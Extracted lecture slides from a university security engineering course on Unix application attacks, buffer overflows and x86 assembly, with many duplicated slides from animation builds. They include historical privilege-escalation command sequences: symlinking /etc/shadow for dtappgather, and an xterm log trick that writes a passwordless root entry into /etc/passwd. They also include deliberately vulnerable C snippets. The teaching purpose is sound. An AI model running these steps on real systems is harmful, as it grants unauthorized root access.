程序代写代做代考 assembly Java file system assembler x86 database fuzzing distributed system interpreter compiler C 7CCSMSEN: Security Engineering

7CCSMSEN: Security Engineering
Application Security
Lorenzo Cavallaro

http://s2lab.kcl.ac.uk
Systems Security Research Lab – Cybersecurity Research Group Department of Informatics, King’s College London
Lorenzo Cavallaro (S2 Lab) 7CCSMSEN 1 / 75

Part I
Application Security
Lorenzo Cavallaro (S2 Lab) 7CCSMSEN 2 / 75

Application Security
Applications provide services
Locally (e.g., word processing, file management) Remotely (e.g., network service implementations)
The behavior of an application is determined by
The code being executed
The data being processed
The environment in which the application is run
Attacks against applications aim at bringing applications to execute operations that violate the security of the system
Violation of confidentiality Violation of integrity Violation of availability
Lorenzo Cavallaro (S2 Lab) 7CCSMSEN 3 / 75

Application Security
Applications provide services
Locally (e.g., word processing, file management) Remotely (e.g., network service implementations)
The behavior of an application is determined by The code being executed
The data being processed
The environment in which the application is run
Attacks against applications aim at bringing applications to execute operations that violate the security of the system
Violation of confidentiality Violation of integrity Violation of availability
Lorenzo Cavallaro (S2 Lab) 7CCSMSEN 3 / 75

Application Security
Applications provide services
Locally (e.g., word processing, file management) Remotely (e.g., network service implementations)
The behavior of an application is determined by The code being executed
The data being processed
The environment in which the application is run
Attacks against applications aim at bringing applications to execute operations that violate the security of the system
Violation of confidentiality Violation of integrity Violation of availability
Lorenzo Cavallaro (S2 Lab) 7CCSMSEN 3 / 75

Application Vulnerability Analysis
Application vulnerability analysis is the process of identifying vulnerabilities in applications, as deployed in a specific operational environment
Deployment vulnerabilities
These vulnerabilities are introduced by an incorrect/faulty deployment/ configuration of the application
Overprivileged applications
An application is installed on a system that has a faulty security policy and/or mechanism (e.g., a file that should be read-only is actually writeable)
Implementation vulnerabilities
These vulnerabilities are introduced because the application is not able to correctly handle unexpected events
Unexpected input
Unexpected errors/exceptions Unexpected interleaving of events
Lorenzo Cavallaro (S2 Lab) 7CCSMSEN 4 / 75

Application Vulnerability Analysis
Application vulnerability analysis is the process of identifying vulnerabilities in applications, as deployed in a specific operational environment
Deployment vulnerabilities
These vulnerabilities are introduced by an incorrect/faulty deployment/ configuration of the application
Overprivileged applications
An application is installed on a system that has a faulty security policy and/or mechanism (e.g., a file that should be read-only is actually writeable)
Implementation vulnerabilities
These vulnerabilities are introduced because the application is not able to correctly handle unexpected events
Unexpected input
Unexpected errors/exceptions Unexpected interleaving of events
Lorenzo Cavallaro (S2 Lab) 7CCSMSEN 4 / 75

Application Vulnerability Analysis
Application vulnerability analysis is the process of identifying vulnerabilities in applications, as deployed in a specific operational environment
Deployment vulnerabilities
These vulnerabilities are introduced by an incorrect/faulty deployment/ configuration of the application
Overprivileged applications
An application is installed on a system that has a faulty security policy and/or mechanism (e.g., a file that should be read-only is actually writeable)
Implementation vulnerabilities
These vulnerabilities are introduced because the application is not able to correctly handle unexpected events
Unexpected input
Unexpected errors/exceptions Unexpected interleaving of events
Lorenzo Cavallaro (S2 Lab) 7CCSMSEN 4 / 75

Local & Remote Attacks I
Local attacks
Allow one to manipulate the behavior of an application through local interaction
Require a previously-established presence on the host (e.g., an account, or another application under the control of the attacker)
Allow one to execute operations with privileges that are different (usually superior) from the ones that the attacker would otherwise have
Are easier to perform, because the attacker has a better knowledge of the environment
Lorenzo Cavallaro (S2 Lab) 7CCSMSEN 5 / 75

Local & Remote Attacks II
Remote attacks
Allow one to manipulate the behavior of an application through network-based interaction
Unauthenticated remote attacks: Interaction with the application does not require authentication or prior capabilities
Allow one to execute operations with the privileges of the vulnerable application
Are more difficult to perform but are more powerful, as they do not require prior access to the system
Lorenzo Cavallaro (S2 Lab) 7CCSMSEN 6 / 75

Local Attacks
Understanding Unix Processes
Each process has a real UID/GID, an effective UID/GID, and a saved UID/GID Real IDs: defines the user who started/owns the process
Effective IDs: used to determine if the process is “allowed to do things” Saved IDs: used to drop and re-gain privileges
If a program has the SUID bit set, when a process executes the program the process’ effective UID/GID are changed to the ones of the program file owner
sullivan@galilei:~$ ls -la /usr/bin/passwd /usr/bin/chsh /bin/ping
-rwsr-xr-x 1 root root 34696 2009-05-11 23:04 /bin/ping
-rwsr-xr-x 1 root root 31756 2009-07-31 15:55 /usr/bin/chsh
-rwsr-xr-x 1 root root 41292 2009-07-31 15:55 /usr/bin/passwd
Lorenzo Cavallaro (S2 Lab) 7CCSMSEN 7 / 75

SUID Behavior
int setuid(uid_t uid) sets the ruid, euid, and suid to uid It is allowed only if
euid is 0
euid is not 0, but uid = euid
int seteuid(uid_t uid) sets the euid to uid
If euid is not 0, uid must be either the ruid or the suid
int setresuid(uid_t ruid, uid_t euid, uid_t suid)
Allows one to set the three IDs
Unprivileged processes can only switch among existing values
By using the saved UID, a SUID process can securely switch between the ID of the user invoking the program and the ID of the user owning the executable
Lorenzo Cavallaro (S2 Lab) 7CCSMSEN 8 / 75

SUID Behavior I
Example
int
main(void)
{
uid_t ruid, euid, suid;
printf(“uid:%d euid:%d\n”, getuid(), geteuid());
getresuid(&ruid, &euid, &suid);
printf(“ruid:%d euid:%d suid:%d\n”, ruid, euid, suid);
seteuid(0);
printf(“seteuid(0) -> uid:%d euid:%d\n”, getuid(), geteuid());
getresuid(&ruid, &euid, &suid);
printf(“ruid:%d euid:%d suid:%d\n”, ruid, euid, suid);
seteuid(getuid());
printf(“seteuid(getuid) -> uid:%d euid:%d\n”, getuid(), geteuid());
Lorenzo Cavallaro (S2 Lab) 7CCSMSEN 9 / 75

SUID Behavior II
Example
getresuid(&ruid, &euid, &suid);
printf(“ruid:%d euid:%d suid:%d\n”, ruid, euid, suid);
seteuid(0);
printf(“seteuid(0) -> uid:%d euid:%d\n”, getuid(), geteuid());
getresuid(&ruid, &euid, &suid);
printf(“ruid:%d euid:%d suid:%d\n”, ruid, euid, suid);
setuid(getuid());
printf(“seteuid(0) -> uid:%d euid:%d\n”, getuid(), geteuid());
getresuid(&ruid, &euid, &suid);
printf(“ruid:%d euid:%d suid:%d\n”, ruid, euid, suid);
exit(0); }
Lorenzo Cavallaro (S2 Lab) 7CCSMSEN 10 / 75

SUID Behavior III
Example
uid:1000 euid:0
ruid:1000 euid:0 suid:0
seteuid(0) -> uid:1000 euid:0
ruid:1000 euid:0 suid:0
seteuid(getuid) -> uid:1000 euid:1000
ruid:1000 euid:1000 suid:0
seteuid(0) -> uid:1000 euid:0
ruid:1000 euid:0 suid:0
setuid(0) -> uid:1000 euid:1000
ruid:1000 euid:1000 suid:1000
Lorenzo Cavallaro (S2 Lab) 7CCSMSEN 11 / 75

Attacking SUID Programs I
99% of the local vulnerabilities in UNIX systems exploit SUID-root programs to obtain root privileges
1% of the attacks target the operating system itself Attacking SUID applications is based on
Inputs
Startup: command line, environment
During execution: dynamic-linked objects, file input
Interaction with the environment
File system: creation of files, access to files Processes: signals, invocation of other commands
Sometimes defining the boundaries of an application is not easy
B.P. Miller, L. Fredriksen, and B. So, “An Empirical Study of the Reliability of UNIX Utilities”, CACM, 1990 (Fuzzing)
Lorenzo Cavallaro (S2 Lab) 7CCSMSEN 12 / 75

Attacking SUID Programs I
99% of the local vulnerabilities in UNIX systems exploit SUID-root programs to obtain root privileges
1% of the attacks target the operating system itself Attacking SUID applications is based on
Inputs
Startup: command line, environment
During execution: dynamic-linked objects, file input
Interaction with the environment
File system: creation of files, access to files Processes: signals, invocation of other commands
Sometimes defining the boundaries of an application is not easy
B.P. Miller, L. Fredriksen, and B. So, “An Empirical Study of the Reliability of UNIX Utilities”, CACM, 1990 (Fuzzing)
Lorenzo Cavallaro (S2 Lab) 7CCSMSEN 12 / 75

Attacking SUID Programs II
Providing faulty inputs may lead to Memory corruption
Control hijacking Data brainwashing
Command injection
Providing faulty execution conditions may lead to
Erroneous exception handling Race conditions
Information leaks
Lorenzo Cavallaro (S2 Lab) 7CCSMSEN 13 / 75

Attacks

Attacks
Attacks
Environment attacks Input arguments attacks File access attacks
Race condition attacks File descriptor attacks
Overflow attacks (stack, heap) Format string attacks
Lorenzo Cavallaro (S2 Lab) 7CCSMSEN 15 / 75

Attacks
Playing with the Environment I
Applications invoke external commands to carry out specific tasks system() executes a command specified in a string by calling
/bin/sh -c string
popen() opens a process by creating a pipe, forking, and invoking the shell as in system()
execlp() and execvp() use the PATH variable to locate applications
Execution of the external commands/applications invoked can be influenced by the
environment
Lorenzo Cavallaro (S2 Lab) 7CCSMSEN 16 / 75

Attacks
Playing with the Environment II
Path substitution
Invocation of commands without specification of complete path
Attacker modifies his/her own PATH variable to induce the script to execute arbitrary commands
Attacker modifies his/her HOME variable to control the execution of commands (or the access to files) specified using a home-relative path (e.g., ~/myfile)
IFS attack (obsolete)
Attacker substitutes value of inter-field separator variable (IFS)
Absolute path is interpreted as space-separated list of local command (e.g., /bin/ls executes local command bin with argument ls)
Modern shells reset this variable
Lorenzo Cavallaro (S2 Lab) 7CCSMSEN 17 / 75

Attacks
The preserve Attack
/usr/lib/preserve was used by the vi editor to make a backup copy of the file being edited by a user
In the case of the “sudden death” of the editor, preserve would send an email to the user to tell him/her that the file had been saved
preserve
Ran SUID root to guarantee the privacy of temporary files Used /bin/mail to send email, invoked with system()
Attacker
changes IFS to “/”
creates program named bin in current dir kills a running vi program
Lorenzo Cavallaro (S2 Lab) 7CCSMSEN 18 / 75

Attacks
The preserve Attack
/usr/lib/preserve was used by the vi editor to make a backup copy of the file being edited by a user
In the case of the “sudden death” of the editor, preserve would send an email to the user to tell him/her that the file had been saved
preserve
Ran SUID root to guarantee the privacy of temporary files Used /bin/mail to send email, invoked with system()
Attacker
changes IFS to “/”
creates program named bin in current dir kills a running vi program
Lorenzo Cavallaro (S2 Lab) 7CCSMSEN 18 / 75

Attacks
Lessons Learned
Invoking commands with system() and popen() is dangerous
The environment should always be set to a known state before execution
Lorenzo Cavallaro (S2 Lab) 7CCSMSEN 19 / 75

Attacks
Lessons Learned
Invoking commands with system() and popen() is dangerous
The environment should always be set to a known state before execution
Lorenzo Cavallaro (S2 Lab) 7CCSMSEN 19 / 75

Attacks
Playing with Command Line Parameters
Command-line parameters are often used by an application without Size checking
Sanitization
User-provided data can be used to perform
Command injections (or “the ; attack”)
Directory traversal attacks (or the “dot-dot attack”) Overflows
Format string attacks
Lorenzo Cavallaro (S2 Lab) 7CCSMSEN 20 / 75

Attacks
Playing with Command Line Parameters
Command-line parameters are often used by an application without Size checking
Sanitization
User-provided data can be used to perform
Command injections (or “the ; attack”)
Directory traversal attacks (or the “dot-dot attack”) Overflows
Format string attacks
Lorenzo Cavallaro (S2 Lab) 7CCSMSEN 20 / 75

Attacks
A Simple Example
#include
#include
int
main(int argc, char **argv)
{
char cmd[1024];
snprintf(cmd, 1024, “cat /var/log/%s”, argv[1]);
cmd[1023] = ’\0’;
return system(cmd);
}
Lorenzo Cavallaro (S2 Lab) 7CCSMSEN 21 / 75

Attacks
Lessons Learned
Command-line parameters should always be checked for length/size if copied into local buffers
Command-line parameters should always be sanitized General validation problem
Look for evidence of malicious input (e.g., ; in a username) Define what’s allowed and deny everything else
Escape possibly dangerous input
It applies to web-based application, SQL queries, etc.
Lorenzo Cavallaro (S2 Lab) 7CCSMSEN 22 / 75

Attacks
Lessons Learned
Command-line parameters should always be checked for length/size if copied into local buffers
Command-line parameters should always be sanitized General validation problem
Look for evidence of malicious input (e.g., ; in a username) Define what’s allowed and deny everything else
Escape possibly dangerous input
It applies to web-based application, SQL queries, etc.
Lorenzo Cavallaro (S2 Lab) 7CCSMSEN 22 / 75

Attacks
Playing with the File System
Many application create/use temporary files for logging, locking Some applications do not test
If the file already exists
If the file is actually a symbolic link
Sometimes the filename can be specified by the user Sometimes the filename is predictable
Sometimes the erroneous handling of an exception will cause the bypassing of security checks
Attacker creates symbolic link to a file accessible only to the superuser and invokes the application
Lorenzo Cavallaro (S2 Lab) 7CCSMSEN 23 / 75

Attacks
The dtappgather Attack
The dtappgather utility is shipped with the Common Desktop Environment (CDE) dtappgather uses a directory with permissions 0555 to create temporary files used by
each login session
/var/dt/appconfig/appmanager/generic-display-0 is not checked for existence
prior to the opening of the file
ls -l /etc/shadow
-r——– 1 root other 1500 Dec 29 18:21 /etc/shadow
% ln -s /etc/shadow /var/dt/appconfig/appmanager/generic-display-0
% dtappgather
MakeDirectory: /var/dt/appconfig/appmanager/generic-display-0:
File exists
% ls -l /etc/shadow
-r-xr-xr-x 1 user users 1500 Dec 29 18:21 /etc/shadow
Lorenzo Cavallaro (S2 Lab) 7CCSMSEN 24 / 75

Attacks
The xterm Attack I
xterm was SUID root to allow for tty owner change and access to utmp and wtmp files during login
xterm allows one to log commands to a file. . .
. . . not checking the destination file if a stat() fails
Lorenzo Cavallaro (S2 Lab) 7CCSMSEN 25 / 75

Attacks
The xterm Attack II
% mkdir ./dummy
% ln -s /etc/passwd ./dummy/passwd
% chmod 200 ./dummy
% ln -s /bin/sh /tmp/hs^M
% xterm -l -lf dummy/passwd -e echo “rut::0:1::/:/tmp/hs”
% rlogin localhost -l rut
Lorenzo Cavallaro (S2 Lab) 7CCSMSEN 26 / 75

Attacks
Playing with the File System
TOCTTOU Attacks
Attacker may race against the application by exploiting the gap between testing and accessing the file (time-of-check-to-time-of-use)
Time-Of-Check (t1): validity of assumption A on entity E is checked Time-Of-Use (t2): E is used, assuming A is still valid Time-Of-Attack (t3): assumption A is invalidated
t1 < t3 < t2 Data race condition Conflicting accesses of multiple processes to shared data At least one of them is a write access Lorenzo Cavallaro (S2 Lab) 7CCSMSEN 27 / 75 Attacks TOCTTOU Example The access() system call returns the access rights of the user specified by the real UID The open() system call is executed using the effective UID if (access(filename, W_OK) == 0) { if ((fd = open(filename, O_WRONLY)) < 0) { perror(filename); return -1; } write(fd, buf, count); } Lorenzo Cavallaro (S2 Lab) 7CCSMSEN 28 / 75 Attacks Lessons Learned Verify/validate the assumptions made about the file system Use truly random filenames Preventing TOCTTOU race conditions Use versions of system calls that use file descriptors instead of file path names Perform file descriptor binding first Lorenzo Cavallaro (S2 Lab) 7CCSMSEN 29 / 75 Attacks Lessons Learned Verify/validate the assumptions made about the file system Use truly random filenames Preventing TOCTTOU race conditions Use versions of system calls that use file descriptors instead of file path names Perform file descriptor binding first Lorenzo Cavallaro (S2 Lab) 7CCSMSEN 29 / 75 Attacks Playing with Open Files SUID applications open files to perform their tasks Sometimes they fork external processes If the close-on-exec flag is not set, the new process will inherit the open file descriptors of the original program Lorenzo Cavallaro (S2 Lab) 7CCSMSEN 30 / 75 Attacks The chpass Attack The chpass command on OpenBSD systems allows unprivileged users to edit database information associated with their account chpass creates a temporary copy of the password database, spawning an editor to display and modify user account information, and then committing the information into the temporary password file copy, which is then used to rebuild the password database Using an escape-to-shell feature of the vi editor it is possible to obtain a shell with an open file descriptor to the copy file Arbitrary modifications (an additional root account, anyone?) will be merged in the original passwd file Lorenzo Cavallaro (S2 Lab) 7CCSMSEN 31 / 75 Part II Memory Errors Lorenzo Cavallaro (S2 Lab) 7CCSMSEN 32 / 75 Buffer Overflow Buffer A set of contiguous memory locations, that contains 1+ elements of the same data type (e.g., int digits[10];). Overflow What happens if we try to store in a buffer more elements than it can contain? 1 The system detects the anomalous situation, and it blocks the operation (e.g., Java), or 2 The system cannot detect the anomaly, and the operation is executed (e.g., C) . . . but what happens to the data in excess? Lorenzo Cavallaro (S2 Lab) 7CCSMSEN 33 / 75 Buffer Overflow Buffer A set of contiguous memory locations, that contains 1+ elements of the same data type (e.g., int digits[10];). Overflow What happens if we try to store in a buffer more elements than it can contain? 1 The system detects the anomalous situation, and it blocks the operation (e.g., Java), or 2 The system cannot detect the anomaly, and the operation is executed (e.g., C) . . . but what happens to the data in excess? Lorenzo Cavallaro (S2 Lab) 7CCSMSEN 33 / 75 Buffer Overflow Buffer A set of contiguous memory locations, that contains 1+ elements of the same data type (e.g., int digits[10];). Overflow What happens if we try to store in a buffer more elements than it can contain? 1 The system detects the anomalous situation, and it blocks the operation (e.g., Java), or 2 The system cannot detect the anomaly, and the operation is executed (e.g., C) . . . but what happens to the data in excess? Lorenzo Cavallaro (S2 Lab) 7CCSMSEN 33 / 75 Buffer Overflow Buffer A set of contiguous memory locations, that contains 1+ elements of the same data type (e.g., int digits[10];). Overflow What happens if we try to store in a buffer more elements than it can contain? 1 The system detects the anomalous situation, and it blocks the operation (e.g., Java), or 2 The system cannot detect the anomaly, and the operation is executed (e.g., C) . . . but what happens to the data in excess? Lorenzo Cavallaro (S2 Lab) 7CCSMSEN 33 / 75 An Example 1 /∗ overflow.c ∗/ 2 3 int main() 4{ 5 int i; 6 char buf2[4]; 7 char buf1[6]; 8 9 for(i=0; i<10; i++) 10 buf1[i] = ’A’; 11 12 return 0; 13 } buf1 buf2 0123456789 Lorenzo Cavallaro (S2 Lab) 7CCSMSEN 34 / 75 i=0 An Example 1 /∗ overflow.c ∗/ 2 3 int main() 4{ 5 int i; 6 char buf2[4]; 7 char buf1[6]; 8 9 for(i=0; i<10; i++) 10 buf1[i] = ’A’; 11 12 return 0; 13 } buf1 buf2 A A A A A A 0123456789 Lorenzo Cavallaro (S2 Lab) 7CCSMSEN 34 / 75 i=6 An Example 1 /∗ overflow.c ∗/ 2 3 int main() 4{ 5 int i; 6 char buf2[4]; 7 char buf1[6]; 8 9 for(i=0; i<10; i++) 10 buf1[i] = ’A’; 11 12 return 0; 13 } buf1 buf2 A A A A A A A A A A 0123456789 Lorenzo Cavallaro (S2 Lab) 7CCSMSEN 34 / 75 i = 10 Why Does This Happen? I 1 Some languages (e.g., C) lack of proper boundary checks 2 Channeling problem: data and control elements share the same channel. In a buffer overflow we have: Channel: e.g., stack, heap Data: e.g., function arguments and local variables, heap management metadata Control elements: e.g., code pointers, data pointers Lorenzo Cavallaro (S2 Lab) 7CCSMSEN 35 / 75 Why Does This Happen? II Buffer overflows are one of the most popular type of attacks Architecture/OS version dependent Can be exploited both locally and remotely Can modify both the data flow and the control flow of an application Recent tools have made the process of exploiting buffer overflows easier if not completely automatic (e.g., [3, 1, 10]) Much research has been devoted to finding vulnerabilities (e.g., [7, 5, 6]), designing prevention techniques (e.g., [12, 8]), and developing detection mechanisms (e.g., [11, 2, 4, 9]) Lorenzo Cavallaro (S2 Lab) 7CCSMSEN 36 / 75 A Family of Attacks Stack-based overflows Shellcode injection Return into libc Return-oriented programming (ROP) Heap overflows Integer overflows User-controlled format strings (if we have time. . . ) Lorenzo Cavallaro (S2 Lab) 7CCSMSEN 38 / 75 A Family of Attacks Stack-based overflows Shellcode injection Return into libc Return-oriented programming (ROP) Heap overflows Integer overflows User-controlled format strings (if we have time. . . ) Lorenzo Cavallaro (S2 Lab) 7CCSMSEN 38 / 75 Part III Assembly: A Crash Course Primer Lorenzo Cavallaro (S2 Lab) 7CCSMSEN 39 / 75 Assembly Properties Low-level symbolic language Processor-specific Directly translated into machine language Our focus: user-mode x86 32-bit assembly Used for Intel 80386 and all successors (like Pentium and Core) Used by almost all PCs (Windows, Mac OS, most Linux systems) Though gradually being replaced by the 64-bit variety These slides use mostly AT&T syntax (objdump, GNU assembler) Careful: alternative Intel syntax swaps all arguments Lorenzo Cavallaro (S2 Lab) 7CCSMSEN 40 / 75 Assembly Properties Low-level symbolic language Processor-specific Directly translated into machine language Our focus: user-mode x86 32-bit assembly Used for Intel 80386 and all successors (like Pentium and Core) Used by almost all PCs (Windows, Mac OS, most Linux systems) Though gradually being replaced by the 64-bit variety These slides use mostly AT&T syntax (objdump, GNU assembler) Careful: alternative Intel syntax swaps all arguments Lorenzo Cavallaro (S2 Lab) 7CCSMSEN 40 / 75 Assembly Properties Low-level symbolic language Processor-specific Directly translated into machine language Our focus: user-mode x86 32-bit assembly Used for Intel 80386 and all successors (like Pentium and Core) Used by almost all PCs (Windows, Mac OS, most Linux systems) Though gradually being replaced by the 64-bit variety These slides use mostly AT&T syntax (objdump, GNU assembler) Careful: alternative Intel syntax swaps all arguments Lorenzo Cavallaro (S2 Lab) 7CCSMSEN 40 / 75 Assembly syntax Program is composed of instructions: actual operations mov %eax, %ebx # copies value from %eax into %ebx directives: commands for the assembler .data identifies section with variables .text identifies section with code .byte/.word/.long defines integer (8/16/32 bits) .ascii/.asciz defines string (without/with terminator) labels: create symbol at current address foo: .byte 42 # like a global var in C: char foo = 42; comments: text after # is ignored Lorenzo Cavallaro (S2 Lab) 7CCSMSEN 41 / 75 Assembly syntax Program is composed of instructions: actual operations mov %eax, %ebx # copies value from %eax into %ebx directives: commands for the assembler .data identifies section with variables .text identifies section with code .byte/.word/.long defines integer (8/16/32 bits) .ascii/.asciz defines string (without/with terminator) labels: create symbol at current address foo: .byte 42 # like a global var in C: char foo = 42; comments: text after # is ignored Lorenzo Cavallaro (S2 Lab) 7CCSMSEN 41 / 75 Assembly syntax Program is composed of instructions: actual operations mov %eax, %ebx # copies value from %eax into %ebx directives: commands for the assembler .data identifies section with variables .text identifies section with code .byte/.word/.long defines integer (8/16/32 bits) .ascii/.asciz defines string (without/with terminator) labels: create symbol at current address foo: .byte 42 # like a global var in C: char foo = 42; comments: text after # is ignored Lorenzo Cavallaro (S2 Lab) 7CCSMSEN 41 / 75 Assembly syntax Program is composed of instructions: actual operations mov %eax, %ebx # copies value from %eax into %ebx directives: commands for the assembler .data identifies section with variables .text identifies section with code .byte/.word/.long defines integer (8/16/32 bits) .ascii/.asciz defines string (without/with terminator) labels: create symbol at current address foo: .byte 42 # like a global var in C: char foo = 42; comments: text after # is ignored Lorenzo Cavallaro (S2 Lab) 7CCSMSEN 41 / 75 Assembly instructions General form: mnemonic source, destination mnemonic is a short code telling the CPU what to do such as mov, add, sub, push, pop, call, jmp source and destination are operands possible types: registers (like %eax, %esp or %al) memory (like 0x401000, 8(%ebp) or (%edx, %ecx, 4)) constants (like $42 or $0x401000; only for source) number and type of operands depends on instruction there may be fewer or (rarely) more operands operands may be implicit (like %esp in PUSH/POP) at most one explicit memory operand is allowed Lorenzo Cavallaro (S2 Lab) 7CCSMSEN 42 / 75 Assembly instructions General form: mnemonic source, destination mnemonic is a short code telling the CPU what to do such as mov, add, sub, push, pop, call, jmp source and destination are operands possible types: registers (like %eax, %esp or %al) memory (like 0x401000, 8(%ebp) or (%edx, %ecx, 4)) constants (like $42 or $0x401000; only for source) number and type of operands depends on instruction there may be fewer or (rarely) more operands operands may be implicit (like %esp in PUSH/POP) at most one explicit memory operand is allowed Lorenzo Cavallaro (S2 Lab) 7CCSMSEN 42 / 75 Assembly instructions General form: mnemonic source, destination mnemonic is a short code telling the CPU what to do such as mov, add, sub, push, pop, call, jmp source and destination are operands possible types: registers (like %eax, %esp or %al) memory (like 0x401000, 8(%ebp) or (%edx, %ecx, 4)) constants (like $42 or $0x401000; only for source) number and type of operands depends on instruction there may be fewer or (rarely) more operands operands may be implicit (like %esp in PUSH/POP) at most one explicit memory operand is allowed Lorenzo Cavallaro (S2 Lab) 7CCSMSEN 42 / 75 Registers Registers are memory locations on the CPU itself General purpose (%eax, %ebx, %ecx, %edx, %esi, %edi) Stack pointer (%esp) Frame pointer (%ebp; sometimes used for other purposes) Instruction pointer (%eip) Flags register Segment registers (%cs, %ds, %es, %fs, %gs, %ss) System registers (%crn, %drn, MSRs) Instruction set extensions (%st(n), %mmn, %xmmn, %ymmn) General purpose registers are 32-bit, but smaller parts can be used Lower 16 bits: %ax, %bx, %cx, %dx, %sp, %bp, %si, %di Lower byte: %al, %bl, %cl, %dl Second byte: %ah, %bh, %ch, %dh Lorenzo Cavallaro (S2 Lab) 7CCSMSEN 43 / 75 Registers Registers are memory locations on the CPU itself General purpose (%eax, %ebx, %ecx, %edx, %esi, %edi) Stack pointer (%esp) Frame pointer (%ebp; sometimes used for other purposes) Instruction pointer (%eip) Flags register Segment registers (%cs, %ds, %es, %fs, %gs, %ss) System registers (%crn, %drn, MSRs) Instruction set extensions (%st(n), %mmn, %xmmn, %ymmn) General purpose registers are 32-bit, but smaller parts can be used Lower 16 bits: %ax, %bx, %cx, %dx, %sp, %bp, %si, %di Lower byte: %al, %bl, %cl, %dl Second byte: %ah, %bh, %ch, %dh Lorenzo Cavallaro (S2 Lab) 7CCSMSEN 43 / 75 Memory Memory is accessed by dereferencing pointers Specified as: displacement(base,index,scale) Refers to: displacement+base+index*scale base and index are 32-bit general purpose registers displacement is a 32-bit constant or a symbol (default: 0) scale is 1, 2, 4 or 8 (default: 1) all parts are optional Operand size specified as a suffix to the mnemonic b for byte, w for word (16 bits), l for long (32 bits) Optional if the other operand is a register Lorenzo Cavallaro (S2 Lab) 7CCSMSEN 44 / 75 Memory Memory is accessed by dereferencing pointers Specified as: displacement(base,index,scale) Refers to: displacement+base+index*scale base and index are 32-bit general purpose registers displacement is a 32-bit constant or a symbol (default: 0) scale is 1, 2, 4 or 8 (default: 1) all parts are optional Operand size specified as a suffix to the mnemonic b for byte, w for word (16 bits), l for long (32 bits) Optional if the other operand is a register Lorenzo Cavallaro (S2 Lab) 7CCSMSEN 44 / 75 Endianess and Signed Integers Intel uses little endian ordering 0x00F67B40 00 0x03020100 starting at address 0x00F67B40 0x00F67B41 01 Signed integers are expressed in 2’s complement notation The sign is changed by flipping the bits and adding one, ignoring the overflow -1 is 0xFFFFFFFF -2 is 0xFFFFFFFE ?? is 0xFFFFF828 0x00F67B42 02 0x00F67B43 03 Lorenzo Cavallaro (S2 Lab) 7CCSMSEN 45 / 75 Endianess and Signed Integers Intel uses little endian ordering 0x03020100 starting at address 0x00F67B40 0x00F67B41 01 0x00F67B40 00 0x00F67B42 02 0x00F67B43 03 Signed integers are expressed in 2’s complement notation The sign is changed by flipping the bits and adding one, ignoring the overflow -1 is 0xFFFFFFFF -2 is 0xFFFFFFFE ?? is 0xFFFFF828 Lorenzo Cavallaro (S2 Lab) 7CCSMSEN 45 / 75 Assembly examples xor %eax, %eax XOR each bit of %eax with itself (what does this do to %eax?) movl $42, 0x401000 store 42 in the 32-bit long at address 0x401000 add 0xfffffff8(%ebp), %al add the byte stored at %ebp - 8 to %al cmpb $0, shellcode(%ecx) compares the %ecxth byte after the shellcode label with 0 sub %eax, (%edx, %ecx, 4) subtracts %eax from the %ecxth 32-bit long in the array pointed to by %edx Lorenzo Cavallaro (S2 Lab) 7CCSMSEN 46 / 75 Common instructions I Data transfer mov src, dst xchg dst1, dst2 push src pop dst Binary arithmetic add src, dst sub src, dst inc dst dec dst neg dst cmp src1, src2 dst = src swap dst1 and dst2 store src on top of stack retrieve dst from top of stack dst += src dst -= src dst += 1 dst -= 1 dst = -dst set flags based on src2 - src1 Lorenzo Cavallaro (S2 Lab) 7CCSMSEN 47 / 75 Common instructions II Logical and src, dst or src, dst xor src, dst not dst test src1, src2 Unconditional branches jmp addr call addr ret int const Miscellaneous lea src, dst nop dst &= src dst |= src dst ^= src dst = ~dst set flags based on src1 & src2 jump to addr push return address, then call function addr pop return address and return there call OS-defined handler const dst = &src (src must be in memory) do nothing (why? we will find out...) Lorenzo Cavallaro (S2 Lab) 7CCSMSEN 48 / 75 Conditional branches I general form: jcc addr jumps to addr only if condition cc holds decided using flags register, which is implicitly set by arithmetic and logical instructions common choices for condition code cc: l s sign e/z equal/zero b below a above result = 0 dst < src (unsigned) dst > src (unsigned)
dst < src (signed) dst > src (signed)
result < 0 (signed) test for opposite condition less g greater ncc not Lorenzo Cavallaro (S2 Lab) 7CCSMSEN 49 / 75 Conditional branches II Examples: jump to label if %eax < %ebx (unsigned) cmp %ebx, %eax jb label jump to label if %eax >= %ebx (signed) cmp %ebx, %eax
jnl label
jump to label if %eax = 0 test %eax, %eax
jz label
jump to label if %eax >= 0 (signed) cmp $0, %eax
jns label
Lorenzo Cavallaro (S2 Lab) 7CCSMSEN 50 / 75

Data Definition
Data objects are defined in a data segment using the syntax
label
For example
.data myvar
bar mystr
type data1, data2, …
.long 0x12345678, 0x23456789
.word 0x1234
.asciz “foo”!
Lorenzo Cavallaro
(S2 Lab)
7CCSMSEN 51 / 75

Part IV
Stackframes
Lorenzo Cavallaro (S2 Lab) 7CCSMSEN 52 / 75

The Stack
The stack grows towards lower memory addresses
The stack pointer (%esp) points to the top of the stack (the lowest valid address)
%esp=0xbfff7ff0 %esp=0xbfff7fec %esp=0xbfff7ff0 %eax=f
a
b
c
d
e
???
???
???
???
a
b
c
d
e
f
???
???
???
a
b
c
d
e
f
???
???
???
0xbfff8000
0xbfff7ffc
0xbfff7ff8
0xbfff7ff4
0xbfff7ff0
0xbfff7fec
0xbfff7fe8
0xbfff7fe4
0xbfff7fe0
push f
pop %eax
Lorenzo Cavallaro (S2 Lab) 7CCSMSEN 53 / 75

Stack Layout
An example
0xbffeaffc 0xbffeaff8 0xbffeaff4 0xbffeaff0 0xbffeafec
← %esp
Top of the stack
push %eax
push %ebx
push %ecx
pop %eax
pop %ecx
pop %ebx
%eax = x %ebx = y %ecx = z
4 bytes
Lorenzo Cavallaro (S2 Lab)
7CCSMSEN
54 / 75

Stack Layout
An example
Top of the stack
push %eax
push %ebx
push %ecx
pop %eax
pop %ecx
pop %ebx
x
0xbffeaffc 0xbffeaff8 0xbffeaff4 0xbffeaff0 0xbffeafec
← %esp
4 bytes
Lorenzo Cavallaro (S2 Lab)
7CCSMSEN
54 / 75
%eax = x %ebx = y %ecx = z

Stack Layout
An example
Top of the stack
push %eax
push %ebx
push %ecx
pop %eax
pop %ecx
pop %ebx
x
y
0xbffeaffc 0xbffeaff8 0xbffeaff4 0xbffeaff0 0xbffeafec
← %esp
4 bytes
Lorenzo Cavallaro (S2 Lab)
7CCSMSEN
54 / 75
%eax = x %ebx = y %ecx = z

Stack Layout
An example
Top of the stack
push %eax
push %ebx
push %ecx
pop %eax
pop %ecx
pop %ebx
x
y
z
0xbffeaffc 0xbffeaff8 0xbffeaff4 0xbffeaff0 0xbffeafec
← %esp
4 bytes
Lorenzo Cavallaro (S2 Lab)
7CCSMSEN
54 / 75
